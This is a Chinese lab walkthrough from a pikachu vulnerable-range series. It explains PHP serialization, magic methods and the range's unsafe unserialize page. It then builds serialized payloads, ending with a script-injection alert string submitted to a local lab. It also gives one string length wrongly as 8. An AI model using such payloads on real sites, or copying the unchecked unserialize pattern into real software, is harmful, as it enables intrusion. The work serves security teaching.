目录
本系列为通过《pikachu靶场通关笔记》的反序列化关卡的渗透实战,通过对反序列化关卡源码的代码审计找到安全风险的真实原因,讲解反序列化原理并进行渗透实践。
一、基本概念
序列化(Serialization)是将对象的状态转换成一组可以存储、传输或持久化的数据的过程。这个过程通常发生在需要保存对象状态以便稍后恢复,或者在网络通信中发送对象给另一个程序时。序列化可以用于多种目的,如数据库操作、文件存储、远程过程调用(RPC)等。
反序列化(Unserialization)是指将从字节流、字符串等非原始数据格式转换回其原始形式的过程,通常发生在数据存储或在网络传输后恢复到内存中的过程。在计算机编程中,特别是那些支持序列化的语言,如Java、Python等,我们经常将对象的状态转化为易于存储或传输的形式,比如JSON或二进制序列。当需要再次使用这些数据时,就需要通过反序列化将其还原成原先的对象实例,以便继续执行程序逻辑。
二、反序列化
反序列化是一种严重的安全隐患。序列化是将对象转换为字节序列的过程,而反序列化则是将字节序列重新转换回对象。当应用程序接收并反序列化不可信数据,且未对反序列化过程进行有效控制和验证时,就会产生反序列化安全风险。
攻击者可以精心构造恶意的序列化数据,在反序列化时触发任意代码执行、远程命令执行等操作。例如,利用存在反序列化风险的 PHP 应用,通过构造包含恶意类和方法调用的序列化字符串,当服务器对其进行反序列化时,可能会执行攻击者预设的系统命令,进而获取服务器敏感信息、篡改文件,甚至完全控制服务器。反序列化安全风险常出现在使用序列化存储数据、传输对象数据的场景中,如用户会话管理、缓存系统等。防范此风险,需避免反序列化不可信数据,对输入数据进行严格过滤和验证,限制反序列化的类和方法,以降低安全风险。
三、serialize 函数
在 PHP 里,serialize 函数的作用是把 PHP 的值转换为可以存储或传输的字符串表示形式。serialize 可以将变量转换为字符串并且在转换中可以保存当前变量的值,序列化说通俗点就是把一个对象变成可以传输的字符串。通过序列化,对象和数组这类复杂的数据结构能被保存到文件、数据库或者通过网络传输,之后可以使用 unserialize 函数将其还原。具体语法如下所示。
string serialize ( mixed $value )
- $value:要序列化的变量,能够是任何 PHP 类型,像数组、对象、字符串、整数等。
- 返回值:返回一个包含被序列化后变量的字符串。
接下来对序列化函数进行举例,以字符串pikachu为例,讲解序列化的输出,代码如下所示。
Class S{
public $test="pikachu";
}//定义类(类名为S)
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";},(注意:pikachu靶场上解释有误),下面对序列化后的字符串进行详细拆解分析。
O
:这是序列化字符串的起始标记,代表当前序列化的是一个对象(Object)。在 PHP 的序列化规则里,不同类型有不同的起始标记,例如a
代表数组(array),s
代表字符串(string),i
代表整数(integer)等。1
:这个数字表示对象所属类的名称的字符长度。在这个例子中,类名为S
,其长度为 1。"S"
:明确指出对象所属的类名,这里就是类S
。1
:表示对象中属性的数量。在类S
中,我们只定义了一个公共属性$test
,所以属性数量为 1。{...}
:大括号用于包裹对象属性的具体信息。s:4:"test"
:s
表示这是一个字符串类型的属性名。4
代表属性名"test"
的字符长度。"test"
就是属性的实际名称。
s:8:"pikachu"
:s
同样表示这是一个字符串类型的属性值。8
代表属性值"pikachu"
的字符长度。"pikachu"
即为属性$test
的实际值。
四、unserialize 函数
unserialize 函数的主要功能是将通过 serialize 函数序列化后的字符串恢复为原始的 PHP 变量。
mixed unserialize ( string $str [, array $options = array() ] )
- $str:这是必选参数,代表需要进行反序列化的字符串,该字符串通常是之前使用 serialize 函数得到的结果。
- $options:这是可选参数,从 PHP 7.0.0 版本开始支持,它是一个包含反序列化选项的数组。例如,可以使用 allowed_classes 选项来指定允许反序列化的类,以此增强安全性。
返回值:如果传递的字符串不可解序列化,则返回 FALSE,并产生一个E_NOTICE;返回的是转换之后的值,可为integer``float、string、array或object;若被反序列化的变量是一个对象,在成功重新构造对象之后,PHP会自动地试图去调用__wakeup()成员函数。
接下来对于第三部分的示例代码进行反序列化操作,具体如下所示。
$s=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $s->test; //得到的结果为pikachu
五、魔法函数
在 PHP 反序列化风险中,魔法函数扮演着关键角色。魔法函数是 PHP 中具有特殊名称和用途的函数,其名称以双下划线 __
开头。这些函数会在特定的事件或操作发生时自动被调用,无需手动调用。常见可利用的魔法函数如下所示。
__construct()
- 触发时机:在创建对象时自动调用。
- 利用场景:攻击者可在构造函数中放置恶意代码,当反序列化创建对象时触发执行。
__destruct()
- 触发时机:对象被销毁时自动调用。
- 利用场景:在反序列化后,对象不再使用而被销毁时,可能触发其中的恶意代码。
__wakeup()
- 触发时机:在反序列化对象时自动调用。
- 利用场景:攻击者可在该函数中编写恶意代码,在对象反序列化时执行。但从 PHP 5.6.25 和 7.0.10 起,如果序列化字符串中表示对象属性个数的值大于真实属性个数,
__wakeup()
会被绕过。 - 特别强调:pikachu靶场原文描述错误,不是序列化时调用。
__toString()
- 触发时机:当对象被当作字符串使用时自动调用。
- 利用场景:若代码中存在将对象当作字符串输出的情况,攻击者可在此函数中构造恶意代码。
__call()
- 触发时机:调用对象中不存在的方法时自动调用。
- 利用场景:攻击者可通过构造对不存在方法的调用,触发该函数执行恶意代码。
__invoke()
- 触发时机:当尝试像调用函数一样调用对象时自动调用。
- 利用场景:若代码中有将对象当作函数调用的逻辑,攻击者可在其中放置恶意代码。
六、魔法函数与反序列化
- 触发机制:反序列化通常源于应用程序在反序列化用户可控的数据时,未对数据进行严格的验证和过滤。攻击者可构造包含恶意代码的序列化字符串,当服务器进行反序列化操作时,魔法函数会按照其触发规则自动执行,从而使恶意代码得以执行。
- 攻击利用流程:攻击者首先分析目标应用中使用的类以及其中的魔法函数,然后创建一个包含恶意代码的对象,将其序列化得到恶意的序列化字符串。接着,攻击者将该字符串发送给目标应用,应用在反序列化过程中触发魔法函数,进而执行恶意代码。
举例,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源 而wakeup()
用于在从字符串反序列化为对象时自动调用。一个 PHP 对象被序列化成字符串并存储在文件、数据库或者通过网络传输时,我们可以使用 unserialize()
函数将其反序列化为一个 PHP 对象。在这个过程中,PHP 会自动调用该对象的 __wakeup()
方法,对其进行初始化。接下来我们通过示例来解释魔法函数的执行,具体如下所示。
<?php
class Stu
{
public $name = 'liujiannan';
public $age = 18;
function __construct()
{
echo '对象被创建了__consrtuct()';
}
function __wakeup()
{
echo '执行了反序列化__wakeup()';
}
function __toString()
{
echo '对象被当做字符串输出__toString';
return 'asdsadsad';
}
function __sleep()
{
echo '执行了序列化__sleep';
return array('name','age');
}
function __destruct()
{
echo '对象被销毁了__destruct()';
}
}
$stu = new Stu();
echo "<pre>";
//序列化
$stu_ser = serialize($stu);
print_r($stu_ser);
//当成字符串输出
echo "$stu";
//反序列化
$stu_unser = unserialize($stu_ser);
print_r($stu_unser);
?>
使用php执行源码后输出如下所示,其中执行了__wakeup函数。
对象被创建了__consrtuct()<pre>执行了序列化__sleepO:3:"Stu":2:{s:4:"name";s:10:"liujiannan";s:3:"age";i:18;}对象被当做字符串输出__toStringasdsadsad执行了反序列化__wakeup()Stu Object
(
[name] => liujiannan
[age] => 18
)
对象被销毁了__destruct()对象被销毁了__destruct()
代码执行过程的具体截图如下所示。
七、源码分析
打开pikachu靶场反序列化题目页面,如下所示。
http://127.0.0.1/pikachu-master/vul/unserilization/unser.php
查看源码unser.php文件,可见反序列化函数的调用,具体如下所示。
这段PHP代码定义了一个名为S的类,其中包含一个静态变量$test,初始值为"pikachu"。类的构造函数__construct()会在实例化时自动执行,用于显示$test的值。从源码可以看到反序列化的变量是post请求的,post请求变量名为o。接下来,如果用户提交了表单数据(假设表单有一个名为’o’的字段),程序将尝试获取这个数据。如果获取的数据不是有效的序列化格式(unserialize()无法解析),则页面会显示一条提示消息:“大兄弟,来点劲爆点儿的!”。完整的经过注释后的代码如下所示。
<?php
// 定义一个名为 S 的类
class S{
// 使用 var 关键字声明一个公共属性 $test,并初始化为字符串 "pikachu"
// 在 PHP 中,var 关键字在早期用于声明类的属性,现在通常使用 public、protected 或 private 来明确访问权限
var $test = "pikachu";
// 定义类 S 的构造函数,构造函数会在创建类的对象时自动调用
function __construct(){
// 输出当前对象的 $test 属性的值
echo $this->test;
}
}
// 初始化一个空字符串变量 $html,用于存储后续要输出的 HTML 内容
$html='';
// 检查是否通过 POST 方式提交了名为 'o' 的表单数据
if(isset($_POST['o'])){
// 如果存在 'o' 字段,将其值赋给变量 $s
$s = $_POST['o'];
// 使用 @ 符号来抑制可能产生的错误信息,尝试对 $s 进行反序列化操作
// 如果反序列化失败,unserialize 函数会返回 false
if(!@$unser = unserialize($s)){
// 若反序列化失败,将一段提示信息追加到 $html 变量中
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
} else {
// 若反序列化成功,将反序列化后的对象的 $test 属性的值嵌入到 HTML 段落标签中,并追加到 $html 变量中
$html.="<p>{$unser->test}</p>";
}
}
?>
需要注意的是,这段代码存在反序列化安全风险,因为它直接对用户提交的数据进行反序列化,而没有对数据进行严格的验证和过滤。
八、渗透实战
1、编写代码
编写PHP代码,输出序列化结果。根据pikachu靶场反序列化源码编写如下所示。
<?php
class S{
public $test="mooyuan";
}
$s=new S(); //创建一个对象
$stus=serialize($s); //把这个对象进行序列化
print_r($stus)
?>
使用菜鸟工具(https://c.runoob.com/compile/1/ )执行php脚本,结果如下所示。
输出内容如下所示O:1:"S":1:{s:4:"test";s:7:"mooyuan";}
2、输出字符串
输入O:1:"S":1:{s:4:"test";s:7:"mooyuan";} ,输出mooyuan,如下所示渗透成功。
3、输出XSS语句
修改php脚本,使输出XSS恶意脚本,希望输出结果为<script>alert('mooyuan')</script>,源码编写如下所示。
<?php
class S{
public $test="<script>alert('mooyuan')</script>";
}
$s=new S(); //创建一个对象
$stus=serialize($s); //把这个对象进行序列化
print_r($stus)
?>
使用菜鸟工具(https://c.runoob.com/compile/1/ )执行php脚本,结果如下所示。
输出内容为O:1:"S":1:{s:4:"test";s:33:"<script>alert('mooyuan')</script>";},将其输入到靶场中并后点击提交,如下所示弹框“mooyuan”成功。